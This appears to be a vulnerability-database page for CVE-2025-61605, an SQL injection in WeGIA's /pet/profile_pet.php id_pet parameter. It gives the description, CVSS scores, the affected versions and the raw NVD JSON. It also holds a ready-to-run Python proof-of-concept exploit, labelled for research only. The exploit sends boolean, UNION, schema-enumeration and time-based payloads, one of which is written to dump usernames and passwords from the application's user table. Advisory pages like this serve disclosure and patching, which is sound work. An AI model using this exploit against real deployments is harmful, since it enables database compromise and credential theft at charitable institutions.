Security Vulnerability Report
中文
CVE-2025-61605 CVSS 9.8 CRITICAL

CVE-2025-61605

Published: 2025-10-02 21:16:01
Last Modified: 2025-10-07 15:42:02

Description

WeGIA is an open source web manager with a focus on charitable institutions. Versions 3.4.12 and below contain an SQL Injection vulnerability which was identified in the /pet/profile_pet.php endpoint, specifically in the id_pet parameter. This vulnerability allows attackers to execute arbitrary SQL commands, compromising the confidentiality, integrity, and availability of the database. This issue is fixed in version 3.5.0.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:* - VULNERABLE
WeGIA <= 3.4.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61605 PoC - WeGIA SQL Injection # Vulnerability: SQL Injection in /pet/profile_pet.php via id_pet parameter # Affected versions: WeGIA <= 3.4.12 # Fixed in: WeGIA 3.5.0 import requests TARGET_URL = "http://target-wegia.com" ENDPOINT = "/pet/profile_pet.php" def exploit_sql_injection(target_url, payload): """ Exploit SQL injection in id_pet parameter """ url = f"{target_url}{ENDPOINT}" params = { "id_pet": payload } try: response = requests.get(url, params=params, timeout=10) return response.text except Exception as e: return f"Error: {e}" # Test 1: Basic boolean-based injection to confirm vulnerability payload1 = "1' OR '1'='1" print("[*] Testing boolean-based SQL injection...") result = exploit_sql_injection(TARGET_URL, payload1) print(f"[+] Response length: {len(result)}") # Test 2: UNION-based injection to extract database version payload2 = "1' UNION SELECT 1,version(),3,4,5-- -" print("[*] Extracting database version via UNION injection...") result = exploit_sql_injection(TARGET_URL, payload2) print(f"[+] Result: {result[:500]}") # Test 3: Extract table names from information_schema payload3 = "1' UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()-- -" print("[*] Extracting table names...") result = exploit_sql_injection(TARGET_URL, payload3) print(f"[+] Tables: {result[:500]}") # Test 4: Extract user credentials (example) payload4 = "1' UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM usuario-- -" print("[*] Extracting user credentials...") result = exploit_sql_injection(TARGET_URL, payload4) print(f"[+] Credentials: {result[:500]}") # Test 5: Time-based blind injection import time payload5 = "1' AND SLEEP(5)-- -" print("[*] Testing time-based blind injection...") start = time.time() exploit_sql_injection(TARGET_URL, payload5) elapsed = time.time() - start print(f"[+] Response time: {elapsed:.2f} seconds (expected ~5s if vulnerable)")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61605", "sourceIdentifier": "[email protected]", "published": "2025-10-02T21:16:01.340", "lastModified": "2025-10-07T15:42:02.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is an open source web manager with a focus on charitable institutions. Versions 3.4.12 and below contain an SQL Injection vulnerability which was identified in the /pet/profile_pet.php endpoint, specifically in the id_pet parameter. This vulnerability allows attackers to execute arbitrary SQL commands, compromising the confidentiality, integrity, and availability of the database. This issue is fixed in version 3.5.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.0", "matchCriteriaId": "786F635A-7423-4F96-B646-A37E357DCA1A"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/commit/176733543c9b6762bef5ddec7c9c555f76fafa1d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-8963-9833-gpx7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-8963-9833-gpx7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}